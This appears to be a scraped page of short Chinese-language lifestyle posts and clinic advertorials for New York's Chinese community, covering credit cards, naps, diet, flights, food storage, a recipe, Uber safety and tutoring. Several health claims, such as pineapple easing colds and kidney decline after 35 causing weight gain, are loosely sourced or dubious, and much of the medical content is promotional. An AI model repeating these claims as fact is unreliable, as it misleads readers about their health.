记账卡（Charge Card）与信用卡：与个人信用卡一样，商业卡亦有两种类型的卡——记账卡和信用卡。商业记账卡虽然没有支出限额，但是持卡者必须每月全额付清。商业信用卡虽有预设的支出限额，但是可以将部分支出拖延到下个月支付，但要缴纳利息。
员工卡：商业信用卡的最大好处之一是可以开办员工卡，管理公司支出。

2. 查看业务支出
在了解商务信用卡的运作原理后，再评估是否有必要申请。专家建议查看过去一年的支出，找出花费最多的项目，例如出差、广告或餐饮。
接下来，可以试着思考以下问题。

公司业务是否需要雇主或员工经常出差？如果答案是肯定的，那么最好选择不会收取国外交易手续费，以及提供旅行奖励的信用卡。
需要在餐厅招待客户吗？如果经常招待客户，建议申请奖励餐饮消费的信用卡。
需要经常开车旅行吗？有些银行的商业卡提供很优惠返现奖励，可以抵消加油费用。
是否有一些经常性支出，例如运输、网络费及电话费？若是，可以考虑申请提供奖励此等消费的信用卡。

3. 考虑额外的好处
除了精简开支和获得奖励优惠外，有些商业信用卡可以提供特殊的融资优惠、账户管理工具，以及更广泛的保修范围等。
有些商业信用卡提供年利率0%的宽限期，有时长达15个月。小企业主可以利用这项融资优惠，购买昂贵设备，例如笔记本电脑、打印机或办公家具等。

此外，有些商业信用卡提供更完善的保修服务，例如手机保护、旅行保险和汽车租赁损坏碰撞保险。
部分顶级商业信用卡的年费可能高达400美元以上，但是可以提供抵消年费的额外好处，例如航空公司机票或酒店住宿的抵免额、以贵宾身份使用休息室的权利等。
除了奖励优惠，商业信用卡同时提供持卡人轻松管理支出的工具，包括季度和年终支出摘要、分项收据，以及将交易转列入Excel或其它会计软件的功能。

2020-01-09 / by happy1 / in 家具家电, 律师/移民/金融, 生活/美食/家居, 移民生活, 美国新闻

每天小睡片刻，竟然有这么大的作用

美国国家睡眠基金会（NSF），睡眠研究，午睡年轻，小睡一觉的好处，国家疾病控制和预防中心（CDC），睡眠时间，午后小睡的好处，睡午觉好在哪里，睡眠改善心脏，睡眠脑力，睡眠心血管健康

多份研究显示，小睡、打盹儿对脑力、精神状态、心脏健康都有益处。当人们下午犯困，不得不喝杯咖啡或者吃糖提神的时候，也许让自己在午后小睡一会更有效。

美国国家睡眠基金会（NSF）的报告建议成年人每晚应有7～9小时睡眠，而国家疾病控制和预防中心（CDC）的一份调查显示，美国4000万劳动者每晚睡眠时间不足6小时。

近期一份发表在《睡眠研究杂志》上的研究显示，白日里小睡一会有助于提升认知力和精神状况，哪怕只有几分钟至10分钟都很有效。

一些临床生理学研究者发现，午后小睡20分钟有助于在一天剩下的时间里仍保持最佳的状态。
另一份发表在《精神病学和临床神经科学》上的研究也认为，20分钟的小睡很有效。还有一份研究发现，一小时高品质的睡眠极大地改善大脑功能，提升短期记忆力，对学生、劳动者都是如此。

既然小睡如此有效，以上提到的研究从几分钟到一小时不等，到底睡多久最好呢？
一份发表在《内科医学档案》上的研究，对2万名年龄介于20～86岁的希腊人进行调查发现，最佳的小睡时间为30分钟。研究者还发现，每周至少小睡3次，每次30分钟的人，心血管发病率低30%，尤其是女性。

2020-01-09 / by happy1 / in 医疗健康

女人35岁之后，瘦身养身最佳配方

35岁之后的养生方法，吃哪些食物养生，35岁之后怎么吃才健康，少食多餐，35岁女性荷尔蒙分泌，女性肾脏卵巢，补充蛋白质

女性的身体从35岁开始，就不容易将食物转为“能量”，吃入腹中的食物更容易转为脂肪和胆固醇；不仅如此，肾脏的功能也逐渐减弱，影响女性荷尔蒙的分泌，使脂肪分解功能下降。因此，一过35岁，女性就特别容易胖。若要避免发福，在三餐之中，就要特别注意晚餐。东京女子医科大学副教授木村容子表示，吃晚餐的时候，一定要遵守以下两点：

❶时间：睡觉前一刻才吃晚餐的话，会迫使肠胃在睡眠中也必须运作，这样一来，身体会无法休息、难以进入熟睡期，也就会影响生长激素的分泌，让人容易发胖。如果因为工作或其他的原因不得不晚吃，请一定要在睡前三小时吃完晚餐。
❷分量：如果早餐分量为十的话，午餐就要减少二成，吃到八分即可，晚餐再减少二成，最多吃到六分。
一天三餐当中，最需要吃好的一餐就是早餐。早上是暖身的好时机，让身体动起来，增加一整天热量的消耗。而且即便早餐时分量多吃了一些，也能靠白天的活动消耗掉多余的热量。

在三十五岁之后，想打造易瘦体质、避免中年发福，“减少晚餐分量”是很重要的关键，原因就在“胃的运动”——也就是胃部收缩、清理肠胃内容的动作，在空腹时会运作得更加剧烈。

在空腹状态下睡觉时，胃会收缩、将肠胃完全清理干净，等到早上起床时，肠胃中的食物就会形成粪便、准备排出体外。这对于肠胃来说才是最理想的状态，能为下一次进餐做好万全准备。尤其三十五岁之后，一定要改变饮食方法，以达到“肠快生活”的目标。

此外，藉由减少晚餐的分量、重拾正常的“空腹感”，对于改善便秘也十分有效。
先吃蔬菜和菇类，再吃含糖食材

透过戒零食和晚餐少吃，找回正常的食欲，透过空腹感改善消化和便秘的状况后，接下来打造易瘦体质的饮食重点，就是用餐的顺序。
可以先吃主食，但是不能一下子就吃饱。因为单靠主食的主要营养素、也就是碳水化合物的话，缺乏其他必需的营养素，无法解决中年发胖的问题。

在吃饭时，在享用主食之前，先吃以下的食物：
❶蔬菜：蔬菜的食物纤维能调整肠道环境，具有抑制脂肪吸收的作用。
❷海藻类：海藻类富含矿物质又是零卡路里，其中特有的食物纤维——海藻酸，则具有排出多余盐分及胆固醇的作用。
❸菇类：例如香菇，内含大量香菇普林，可有效降低胆固醇。

此外，尤其是三十五岁以上女性，最建议摄取的营养素就是“蛋白质”。
与糖类和脂肪并列三大营养素之一的蛋白质，是制造内脏、血液、肌肤、头发及指甲等身体组织的原料，其中最受注目的功能，就是形成防止中年发胖关键因素之一的“肌肉”。肌肉在消耗热量的同时，也会产生能量。训练肌力、打造肌肉，可以促进分解中性脂肪的生长激素分泌。想要打造易瘦体质，“肌肉”的存在不可或缺。

可以这样做：假如吃的是三菜一汤，首先吃主菜及副菜，中间喝汤，主食则尽量留到最后再吃。
如果是吃火锅的话，为了能均衡摄取营养，可以先吃蔬菜、蒟蒻和菇类，接着是豆腐、鱼类及肉类，最后吃
米饭或面条，这样不仅能吃饱，也摄取了均衡的营养素。若是吃西餐的话，在上主餐之前，要提醒自己面包吃一片或半片就好，免得吃太饱。

2020-01-09 / by happy1 / in GMAT/GRE, 医疗健康, 留学/教育/求职

出行攻略：国际机票哪买最便宜？

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日前公布的最新报告显示，今年国际机票最划算价格，主要出现在达美航空、联合航空、美国航空等三大美航公司。「史考特廉价机票」网站共同拥有人凯斯表示，达美、联航与美国航空飞往美国以外地区的航班最多，因此海外航班机票价格下降的可能性也最大。

报告根据过去12个月该网站寄给会员的便宜机票内容，分析49个州以及华盛顿特区、波多黎各等超过150个机场的票价情况。其中包括近90家不同航空公司，但不包括一些特定航空业者，如Spirit、Frontier等美国国内廉航。

根据报告，加拿大航空从美国出发的廉价航班排名第四。加上联航、达美、美国航空，四家航空业者占据「史考特廉价机票」网站今年向会员寄出便宜机票总数的56.1%。

其他便宜机票还有来自包括捷蓝航空、阿拉斯加航空等美国航空业者，以及如荷兰皇家航空、法国航空、英国航空与新加坡航空等国际航空公司。

报告也发现，预定从航空公司枢纽机场出发的航班，不一定保证最低价格；事实上，情况刚好相反。旅客若在靠近航空公司枢纽地点，应该查看其竞争对手的航班，以寻求最佳票价。事实证明，从亚特兰大出发，在美国航空可以拿到更低的票价。
从加州出发的旅客，似乎比较幸运，去年从金州出发的共有4844笔优惠票价，也是全美优惠机票会多的州。

从加州飞往海外的最佳机票价格，似乎多来自联航。佛罗里达旅客则拿到全美第二多优惠机票价格。纽约通常被视为通往欧洲的门户，获得2941笔廉价机票，其中大部分是联航。

2020-01-09 / by happy1 / in 其它

在美国如何选择第一张信用卡│第一张信用卡有多重要你知道吗？

影响信用分数的因素，注销第一张银行卡，欠款金额 Credit card use，还款情况 Payment History，信用污点 Derogatory marks，信用年龄 Credit age，信用账户数量 Total credit accounts，信用查询次数 Hard inquiries

美国是一个信用社会、信用卡大国，有非常完善的信用体系，在美国生存靠的就是信用。不管你是出生在美国，还是移民、工作签证或者留学来到这里，你的信用基本都是从第一张信用卡开始的。信用分数是慢慢积累的，你的职业、贷款买房、家庭电话账单、煤气、家庭用电、使用信用卡等等，统统都会影响你的信用。使用信用卡是最简单的也是最多的积攒信用方式。如果你打算长期在美国生活，在你可以办信用卡时，尽快去申请你的第一张信用卡。

影响信用分数的因素：
欠款金额 Credit card use：比如额度是 $10,000美金，平时每个月消费不到$1,000，突然有一个月用了$9,000，那分数肯定要降很多。不过你按期还了，分数很快就可以涨回来。同样，如果你所有的信用卡几个月内都没有使用，突然有一个月花了$100块，信用分数也会降很多。

还款情况 Payment History：一定要准时还款，最好设置为自动还款。如果确实忘记了还款，一定要尽快联系银行客服人员，尝试补救。
信用污点 Derogatory marks：比如民事诉讼、破产、抵押等。
信用年龄 Credit age：从你的第一张信用卡开始计算，信用记录时间越长，信用分数就越高。
信用账户数量 Total credit accounts：信用账户数量，Lease 车、贷款、煤气、家庭用电、信用卡等等，全部属于信用账户。
信用查询次数 Hard inquiries：查信用的次数，每次查都会扣分。

像欠费金额因素是平时每月波动变化的，上个月降了，下个月也许就能够补回来，但是信用年龄只能一个月一个月的累计。7年以上的信用记录才会获得高分。信用年龄除了影响信用分数，还有它自身的意义，就像一个公司的新入职员工和老员工一样，老员工工龄大，福利一般都比新员工好！

信用卡关闭之后能否重开
也许可以，每家银行政策不一样。大多数银行允许在3 – 6个月之内重开，有的银行可能要收取费用。如果卡关闭很久了，超过一年了，银行只会建议你重新申请一张。

如何选择第一张信用卡
刚来美国，因为没有信用，很多看上去很不错的银行不敢给你开卡的，所以其实选择是有限的。这时可以在比较容易开的卡里面，选一张福利最好的，比如3个月消费满 $1,000 返 $150的，返利比例比较高的、等等。

大多数新移民开始申请的都是押金卡，等信用攒够了就可以申请高大上的卡了。一般满一年后，押金会自动退还给你。过一段时间等你有了信用，银行就会开始寄给你一大堆信邀请你开卡。

2020-01-08 / by happy1 / in 律师/移民/金融, 理财/报税, 美国新闻

延长手机电池寿命有绝招│这样做可延长手机寿命

手机充电电池寿命，手机电池消耗，怎样让手机电池更久使用，延长手机电池寿命

现代人可以说每天都离不开手机，充电也成了每日的例行工作。因此许多人担心，一直充电会缩短手机电池寿命。不过大多数人都错了！常常充电并不会让电池寿命缩短，真正造成电池寿命缩短的原因是“用到没电”才充，还有就是在手机过热的情况下，边充电边使用。

对于如何延长手机寿命，许多人都存有迷思，坊间也有众多说法，那么究竟怎样才是正确的充电方式呢？首先我们要了解，现在手机大多都已经采用锂电池，而锂电池的寿命是以周期计算的，当电力从0充到100%，再由100%耗尽到0时，就算是一次循环；假如是从90%充到100%，则只算1/10次，因此并不像一般人所说，充越多次越容易坏。

以iPhone为例来说明，当锂电池在循环500次的使用以后，效能就会开始逐渐下降，电池也会跟着老化。因此为了不要太快消耗1个充电周期，最好1天可以分多次充电，尽量让电量维持在40%到80%，这样比较能够延长电池寿命。

因为对一般人而言，手机充到90%左右就已经非常够用，不需要充到100%。最需要注意的是，尽量不要让电力耗到20%以下，甚至快接近0%才充电，否则是非常伤害电池的行为。

此外，许多人有边充电、边用手机的习惯，此种行为对电池本身并不会有伤害，但就怕电池本身过热，因为边充电边使用时，容易使手机发烫，这样多少会影响到电池的效能，因此假如发现手机过热时，最好暂时停止使用。而也有许多因为边充电边使用手机造成伤害的案例，因此为了安全考量，一定不要边使用边充电。

至于有人担心手机充电一整晚，容易使电池受损。其实以现在的技术来说，手机都有内建芯片，当电池充饱电后，就会自动切换，后续的电力并不会持续充进电池里，所以也不用过度担心。

如果可以的话，最好每天或每周就把手机重开机一次，这样不但可以让手机修复、重整，也能帮助延长手机寿命。

2020-01-08 / by happy1 / in 其它

不同食物保鲜方法大公开│家庭主妇须知│保持食材最全方法

食物保鲜窍门，食品怎样保存不容易坏，食品保鲜，蔬菜保鲜方法，肉类保鲜方法，海鲜保存方法，怎样能让菜叶不发黄？

食材买回家后，全部塞进冰箱就万无一失吗？其实并不是。今天就介绍下正确保存方法。
蔬果保存方法：叶菜、瓜果、根茎类各不同

菇类
菇类买回家后，不要碰水直接用纸袋包装，并放在冰箱冷藏保存，这样能够减少菇类孳生细菌。鸿喜菇可直接将根部切除后装入盒中，再放入蔬菜室保存。
叶菜类
叶菜类，买回来后，先摊开阴干半小时，让叶片不要有湿气，坏掉的叶子要先摘除。在冷藏之前先将水分拍干，并用餐巾纸包住蔬菜根部后再装入干燥塑胶袋中，放置于冰箱的蔬果保鲜室。一般叶菜可保存4～5天。

根茎类
(1) 马铃薯、地瓜：包覆纸巾保持干燥，放置室内阴凉黑暗处。
(2) 红、白萝卜：先将长出叶子的蒂头彻底切除干净，然后用保鲜膜妥善包覆整条萝卜，并放入夹链袋中，尽量将空气挤出，再放入冰箱保鲜室。
(4) 玉米：玉米在室温下容易因潮湿而产生黄曲毒素，买回来后应尽快冷藏。
其他
(1) 芦笋：尖端朝上直立放置，底部用沾湿的纸巾和塑胶袋包装。
(2) 青椒：不能沾到水，但是也不需要密封，只要将青椒放入一般塑胶袋中再放入冰箱即可。
(2) 葱：去除变黄老化部分、保留根部，用纸巾包好放入塑胶袋冷藏4～5天，或是洗净后滤干水分，再将葱切成葱绿、葱中段、葱白，分别放入保鲜盒冷藏，可保存一星期。

肉类保存方法：小细节延长肉品保鲜度
肉类食材若是两、三天内可煮食完毕，就不需要放置冷冻，一般放在冰箱生鲜冷藏室约5度到零度（ºC）之间保存即可。如果去大卖场买的肉类份量比较多时，就一定得要分装冷冻，我们先将大块肉品切成一餐适量大小，绞肉也是一样，依每次煮食的份量，用保鲜膜仔细包覆，并用夹链袋一包一包装好，放入冷冻库之前要记得稍微挤压，尽量让袋子里没有空气，再平放在冷冻室，这样就能延长肉品的鲜度。

一般家用冰箱冷冻温度大约在 -12℃～-19℃ 之间循环，虽然可以使大部分的微生物停止活动，但并不能完全杀死微生物，因此肉类冷冻时也是有可能会腐坏。因此，若已确定买回来后会如何烹调，可以预先处理再加以冷冻。一来可延长保存期限，二则因为生肉中的水分已经在烹煮的过程中释出，比较不会因为冷冻使水分结成冰晶而破坏肉质口感。或者将肉类经过烫煮或腌制调味再分装放入冷冻，也可以延长保鲜期限。

海鲜保存方法：密封袋是保存小帮手
1. 鱼
清理掉内脏、鳞片，并用旧牙刷将鱼肚内脏污刷洗洗净，用厨房纸巾吸干水分，再用塑胶袋密封装好，可冷藏2∼3天。若几天内不煮食，就要放置冷冻库才能保鲜。
2. 鲜虾
先在一盆清水中放冰块，将虾子放入后，先洗净鲜虾，并用剪刀剪掉头须、脚，再用牙签或竹签挑起肠泥，以不重叠的方式和冰块一起放入密封袋中冷冻，保鲜度较好，约可保存2～3周。
3. 花枝、软丝、乌贼、小卷
先清除内脏，再用清水将身体清洗过后沥干水分，可切成片或整只放入密封袋中冷冻，可保存2～3周。
4. 蛤蜊
先用容器装水放少许的盐让蛤蜊吐沙，沥干后放入塑胶袋中冷藏。

2020-01-08 / by happy1 / in 其它, 居家生活, 生活/美食/家居

足不出户坐享异域美食1分钟学成泰风菠萝咖喱黄金蛋炒饭

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专栏作者：草长莺飞

美食与旅游，已经成了年轻人最时尚的话题。越来越多的人去某个地方旅行，仅仅只是为了去享受当地的美食，这说明民还是以食为天的！

现在就教大家如何做这道泰式菠萝咖喱黄金蛋炒饭，让你完全不必车马劳顿，足不出门就可享用到异域美食啦。

材料：

1.咖喱1勺

2.玉米粒适量

3.生抽1勺

4.菠萝适量

6.米饭1碗

做法

1.玉米粒用水煮好，沥干备用

2.鸡蛋煎好，盛起来备用

3.菠萝切成小块，下油快炒2分钟

4.下米饭、玉米粒、鸡蛋和菠萝翻炒均匀

5．最后放酱油、咖喱、蚝油翻炒2分钟，加葱花装上盘

小贴士：

1．菠萝不但生津利尿、消食开胃、减肥美容，还能缓解感冒症状，小朋友多食用，能有效防止便秘。

3．口腔溃疡，舌头起泡的，记得不宜吃菠萝，不然加重症状，痛感更甚。

金牌肠胃医生推荐

Jing Gastroenterology & Hepatology

荆彤肝胆肠胃专科

荆彤医生博士学位荣获2014一2015优秀医师杰出奖

诊所地址：136-68 Roosevelt Ave 3FL flushing, NY, 11354

电话：(718) 635-1900

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也希望纽约的华人能做到及早预防肠胃疾病，及时找到最适合自己的肠胃医生，为自己和家人构筑一道可靠的健康防线。祝大家身体健康平安幸福！

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陳勝腸胃肝膽專科718-886-6292

肝胆肠胃专科中心陈志明西医师 718-871-2511

陈百如医师 DR. ANTHONY CHAN (212)219-8010

庄哲男肝胆肠胃科医师 (718)461-9779

姜建国医学博士 DR. CHIEN KUO, CHIANG (212)941-7856

游向阳医学博士 DR. XIAN YANG, YIO (718)886-6330

预防肠道疾病办法

1. 严把饮食关

俗话说的好，病从口入，对于夏季胃肠疾病，最主要的原因是饮食不当引起的，把好饮食关，就可以有效预防夏季肠胃疾病的发生。

2. 食物要清洁

夏季天气热，致病细菌易于生长繁殖，没有认真清洗的瓜果，存放时间长的饭菜等都有可能产生大量致病细菌，若不慎食用，有可能导致细菌感染，产生菌痢；夏季气温高，存放食物易于腐败，很多食物在腐败过程中产生大量有毒物质，因此导致食物中毒。

3. 食物要新鲜

夏季有大量新鲜瓜果蔬菜，在生吃各种瓜果蔬菜时一定要保证瓜果新鲜，不生吃不新鲜的瓜果蔬菜，不吃腐烂的瓜果蔬菜。

4. 饮食好习惯

夏季要注意良好的生活习惯，不要暴食暴饮，不大量食用冷食，注意补充水分。

5. 个人讲卫生

勤洗澡，饭前要洗手，出汗过多要补充水份，注意肠胃不要受到冷风刺激，饮食要注意规律。

荆彤肠胃中心创立于2014年。位于纽约皇后区法拉盛罗斯福路上。是一所全方位的肠胃科中心。我们不仅提供肠胃镜检查，亦专精于内视镜超声，介入治疗性内镜技术及内视镜胰胆管造影。荆彤医师也是美国少数拥有治疗性内视镜执照的专家。我们有专业的麻醉师及医疗团队。我们很荣幸能在纽约皇后区提供高品质的医疗服务。

荆彤肠胃中心

Jing Gastroenterology & Hepatology

诊所名称：纽约荆彤肠胃肝胆科诊所

营业时间：周一到周六: 8:00 am – 7:00 pm 周天: 2:00 pm – 7:00 pm

诊所專科：腸胃肝臟科

地址：136-68 Roosevelt Ave 3FL flushing, NY, 11354

电话： (718) 635-1900

语言：中文, 英文精通國語上海話英語七天開診

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2020-01-07 / by happy1 / in 医疗健康

整容能改运吗？如何养颜驻容？抗衰老专家解开你的迷思！

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丽致医美抗衰老中心 IKARE MEDICAL BEAUTY CLINIC

地址：38-21 Main Street, Flushing, NY 11354 (法拉盛快捷急诊中心内, TD Bank楼上)

电话: (917)790-9989

丽致医美抗衰老中心位于纽约法拉盛飞越皇后大厦，快捷诊疗中心内，由台湾首席医美抗衰老大师黄佩杰医学博士与廖唯恩医师领衔的顾问团队进驻指导，严选最先进安全的医美仪器，将台湾的医美专业带给纽约向往自然美的族群们。

黄佩杰医师在中港台三地有超过20年医美实务经验,
拥有妇产科医师执照，微整形抗衰老证照,
黄医师擅长玻尿酸，微晶雕塑鼻型，下巴，丰唇，丰臀放置，肉毒杆菌，4D脸拉提，脉冲光电波拉皮，雷射等专业医美疗程。

廖唯恩医师有超过10年的医美经验, 是法拉盛的皮秒女王, 拥有外科医生执照,
微整形抗衰好证照, Picoway皮秒雷射认证医师、Ulthera音波拉皮认证医师,
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Radiesse），鼻部塑型，下巴微雕，玻尿酸全脸注射（去泪沟，法令纹，丰唇，丰胸趾），肉毒杆菌，4D脸拉提，极限音波拉皮及各式雷射祛斑等专业医美疗程。

丽致医美抗衰老中心提供超影像皮秒机、酷塑冷冻溶脂、音波拉皮、电波拉皮、消脂针、点滴美容、美学微整、线雕拉提、干细胞抗衰老、各种小针美容、坡尿酸、肉毒杆菌等服务。

2020-01-06 / by happy1 / in 其它, 医疗健康, 求医指南

生活支招：在美国如何安全搭乘Uber？

优步公司（Uber），Uber新政策，Uber服务安全，Uber打车，Uber控制犯罪率，乘车安全，安全常识，安全搭车小贴士

线上叫车服务已逐渐成为现代社会人们常用的一种出行方式，但这种私人共乘车的安全性问题也引发了越来越多的关注。优步公司（Uber）发布2018年美国境内的安全报告显示：去年在优步服务运营期间共发生了3045起经汇报的性骚扰案件，比2017年的2936起增加了4％。

优步将推新政策控制犯罪率
优步所面临的安全问题从拉丁美洲的现金抢劫，到美国的性骚扰案，从乘客被殴打，到司机被杀害，可以说是层出不穷。作为回应，这家陷入安全争议的行业老大宣布准备推出一项新的保护性功能，允许优步司机和乘客使用手机app录下路途中的对话音讯。据称这将有利于搜集犯罪事件的证据，但具体实施日期还未定。

此外，优步还在逐步推出一项密码功能，即乘客在上车前先同司机进行核对，确认无误后方可上车。目前优步手机app具有给本地紧急热线发送短信或一键拨通的功能，让乘客和司机都能方便的汇报安全事件。乘客还可在上车时同亲友分享自己的位置资讯，把个人状况透露给值得信赖的协力厂商，从而确保搭乘过程中的安全。而若优步app自动探测到旅途中有一段时间的停顿，便会自动在手机上推送消息给乘客，询问“一切还好吗？”乘客可以选择拨打当地紧急报警电话，或联系优步的安全服务热线进行汇报。

司机也是受害者
虽然优步服务中绝大多数的投诉来自于乘客，很多司机同样也沦为了犯罪事件的受害者。在上述优步公布的报告文件中，司机是受害者的犯罪案件出乎意料的占据了超过40%。在全部19件谋杀案中，有7件是司机被杀。但优步司机们的处境却遭到了普遍的漠视。

一位优步女司机透露，优步对司机的管理政策非常严苛，待遇也较差，保护条例十分缺乏，安全教育也不足。一天之中他们会遇到太多太多完全不知如何应对的状况。一些司机在遇到困难后，选择不上薪水较高的夜班，或是只在他们认为安全的区域内行驶接客。

2020-01-06 / by happy1 / in 律师/移民/金融, 移民生活, 美国新闻

咖啡的最新养生功能，这是你所不知道的

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喝咖啡已经是现代人的一个习惯与兴趣，咖啡相关产品在华人中也越来越有市场。除了普遍人认为的“喝咖啡可以提神”之外，在运动前喝杯咖啡，还有许多好处。

《国际运动营养学与训练新陈代谢》专业期刊的一份研究报告显示，运动选手在运动前喝咖啡，运动后3小时内会多燃烧15％的热量。若要产生燃烧热量的效果，咖啡剂量的计算大约是每公斤体重约4.5毫克咖啡，所以如果体重是68公斤，就需要在运动前喝下300毫克的咖啡。

除了有助于燃烧热量之外，运动前喝咖啡还有以下好处：
1. 促进血液循环：最近日本针对没有习惯喝咖啡的人进行研究，了解咖啡对血液循环的影响，结果发现，当这些人喝了咖啡之后75分钟内，体内血液循环提升了30％。
2. 减轻疼痛：美国伊利诺大学的科学家指出，在进行大约半小时的高强度运动前喝两到三杯咖啡，可降低肌肉的酸痛；换句话说，在进行耐力训练时，可因此忍受更大强度的训练。
3. 强化记忆：美国约翰霍普金斯大学今年发表的研究报告指出，喝咖啡之后的24小时，大脑记忆力明显有所提升，特别是在喝咖啡之后开始运动，效果更好。
4. 保留肌力：英国考夫垂大学研究显示，咖啡有助于减缓因老化而导致的肌力流失，这种保护作用也包括关系到呼吸的横隔膜与骨骼肌。

新刊登于《应用心理学期刊》的研究显示，如果是运动后喝咖啡，也对健康有所助益。根据这项研究结果，运动后如果喝咖啡和含有碳水化合物的饮料，运动后4小时内肌肉肝糖会提升66％。下次运动时，你才有足够的能量和耐力。

2020-01-06 / by happy1 / in 医疗健康

考托福最新攻略│美国高考无忧

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新突破教育（New Turbo）的新分校正式落实！我们以提供大、中、小学生和成人一对一和小班课程服务闻名，优良师资加上全电子教学设备，目前也是全纽约唯一提供全天候自习室的补习社！

新校址位于3808 Union St., Flushing, Suite 12A, NY 11354，坐落于法拉盛中心（109分局斜对面，Flushing Common大楼里）教室拥有3000尺面积，十间独立教室，采用落地玻璃的设计，面朝曼哈顿和法拉盛的高楼景色，让学生在休息的同时也可以憧憬着属于自己的未来，还能充分获得自然光的照射。

除了高水平的教学质量以外，我们提供最舒适的学习环境，希望能帮助学生在学习上事半功倍！

课程特色：提供一对一和小班课程、面授课和网络课

提供课程：

SAT課程：提供一對一、精品班和小班培訓，家長和學生可以根據需求選擇最適合的上課模式。
托福課程：托福課程一對一課程提供保分課和普通課，平均三個月可提三十分。
成人速成口語：圍繞生活交流進行的口語訓練，適合英語程度零基礎、初級、中級和高級的學生。
商務英語：根據學生所需要的工作環境和各自的英語上的弱點，進行針對性的商務英語指導。
SHSAT輔導（特殊高中升學輔導）：適合6-8年級，有意考入特殊高中的初中生
ESL課程：針對作業和當天的課堂內容進行加強輔導，幫助學生盡快克服語言障礙。
科目加強/作業輔導/紐約州考輔導：適合所有在校學生的課程(從小學到高中)
大學課程輔導：GED/CATs/GRE/雅思/GMAT/大學科目等輔導
幼兒啟蒙：提供天才班、英語班、數學班、中文班

学校电话：718-971-9914
学校微信：newturbony
学校地址：
•升学教育、成人培训部：3808 Union St, 12A, Flushing, NY11354
•儿童教育部：4614 Bowne St, Flushing, NY11355

2020-01-06 / by happy1 / in GMAT/GRE, SAT/ACT, 律师/移民/金融, 留学/教育/求职, 移民生活, 美国新闻

如何嫩肤？纽约抗衰老专家支招！

丽致医美抗衰老中心 IKARE MEDICAL BEAUTY CLINIC
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廖唯恩医师有超过10年的医美经验, 是法拉盛的皮秒女王, 拥有外科医生执照, 微整形抗衰好证照, Picoway皮秒雷射认证医师、Ulthera音波拉皮认证医师, PRP体干细胞认证指定医师，Sculptra，Ellans，肉毒杆菌认证医师。

廖醫師擅长全脸雕塑（梅斯·雷迪斯Metz Radiesse），鼻部塑型，下巴微雕，玻尿酸全脸注射（去泪沟，法令纹，丰唇，丰胸趾），肉毒杆菌，4D脸拉提，极限音波拉皮及各式雷射祛斑等专业医美疗程。

2020-01-06 / by happy1 / in 医疗健康

美国肠胃病专家，告诉你什么是【癌中之王】

诊所名称：纽约荆彤肠胃肝胆科诊所
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美国诊治肝胆肠胃病胰腺癌的权威医师纽约 New York，法拉盛 Flushing，纽约内视镜超声，纽约肠胃病医生，内视镜超声EUS，内视镜超声胰腺癌，肠胃病专家，法拉盛肠胃科医生推荐，法拉盛肝病胃病，肠胃病医院，肠胃病检查，胰腺癌权威，胰腺癌治疗专家，胰腺癌治疗内视镜，纽约肠胃疾病医生，纽约肠胃消化科医生，胃肠内科医生，肝胆肠胃科医生，纽约最好的肠胃科医生，法拉盛肠胃内科医生，纽约法拉盛肠胃专家。

人的腹腔器官众多，导致许多疾病难以察觉。而最难发现的就是胰腺癌。胰腺深藏于腹腔后部，看不见、摸不着。胰腺癌早期缺乏特异性的症状，一旦察觉可疑，确诊胰腺癌时，大部分已经进入中晚期。早期发现的胰腺癌绝大多数出于偶然。因此胰腺癌也被称为“癌中之王”，意思是说等到患者发现异常时，胰腺癌已进入晚期。因胰腺的微环境特点还可以使胰腺癌纤维化、血管减少，使胰腺组织内的有效灌注锐减，治疗药物很难在靶组织达到足够的治疗浓度。另外，胰腺癌组织中心血管分布较少，导致微环境缺氧。缺氧环境不仅可以促进胰腺肿瘤快速生长和自发转移，还可以使胰腺癌对放射治疗不敏感。因此，无论是胰腺癌的化疗，还是放疗，治疗效果都难尽人意。所以到这时候医生能做的事情已经非常有限。

掌握早期排查胰腺癌及肝胆肠胃病技术的荆彤医生介绍，目前的内视镜超声波术（EUS）与经内视镜逆性胆胰管摄影术（ERCP）都是检测胰腺癌的好手段。不过这两种技术对医生的要求很高，需要接受专业的放射影像培训，因此普通的肠胃科医生是不会这种技术的。而荆彤博士在颇具盛名的科罗拉州大学医学院肠胃中心对治疗性内视镜（ERCP &EUS)进行过深造及研究，因此可以帮助广大患者提早排除胰腺癌的隐患。

超声内镜(EUS)是将超声探头在内镜直视下到达靶器官进行近距离探查，从而避免了体表超声探查时遇空气等干扰的缺陷，此时靶器官的图像与结构更为清晰。EUS是腔内超声的一个组成部分，由于进入体内，因而超声探头甚小。常规的超声胃镜是将探头置于内镜端部，外有水囊，注入无气水后可直接探查，此类探头直径约10mm。另一类探头是从内镜活检钳道伸至靶器官，故直径为1.8～2.4mm，这种超声胃镜实际为超声探头(USP)，又称经内镜超声微探头(TEMP)，由于此类探头能进行诸如胆、胰管等小管道超声探查，故又称管腔内超声(IDUS)，常规EUS超声频率通常为7.5～12MHz，主要用于消化道（如胃、结肠）及邻近脏器（如胆、胰、纵隔、腹腔淋巴结等）的检查，USP的超声频率为12～30MHz，因而分辨率极高，主要用于表浅病变及小管道（如胆管等）的超声检查。

按EUS应用范围，可将其分为超声胃镜（同时可查食管与十二指肠）、超声肠镜及超声腹腔镜等。按扫描方式可有二维的线阵式及扇形扫描式，晚近已有三维超声胃镜出现，为探查血管可用彩色多普勒超声内镜。常规EUS有2mm左右之活检钳道，必要时可通过它作活组织检查及作细针针吸活检(FNA)。 EUS检查方法类同内镜检查，检查时向腔内注入无气水（灌注法）或向水囊内注水（水囊法）或两者相结合进行超声检查。超声内镜在消化道和胆胰疾病的诊疗中应用：特别适于黏膜下（或腔外）病变及胰腺疾病的诊断；消化道癌肿的分期诊断。

❤️地址: 136-68 Roosevelt Ave 3FL flushing, NY, 11354
❤️电话: (718) 886-9819
语言: 中文, 英文
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❤️Youtube视频：
纽约荆彤肠胃医生患者反馈
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他因屡次发现患者潜在病灶而闻名
https://www.youtube.com/watch?v=hOC9t…
全球一半的胃癌患者都在中国荆彤博士介绍中国人胃癌高发的原因
https://www.youtube.com/watch?v=0vA5r…
纽约荆彤肠胃中心呵护您的健康
https://www.youtube.com/watch?v=Zfy43…
肠胃病患者的福音纽约荆彤肠胃中心
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2020-01-06 / by happy1 / in 医疗健康

2020旅游新招│出国旅行这些钱绝对不能省│出门旅游必读

出门旅游需要注意的问题，旅游怎么省钱，旅游怎么省钱玩的好，旅游，攻略，省钱，出行，选机位，景点门票，旅游保险，出行交通工具。

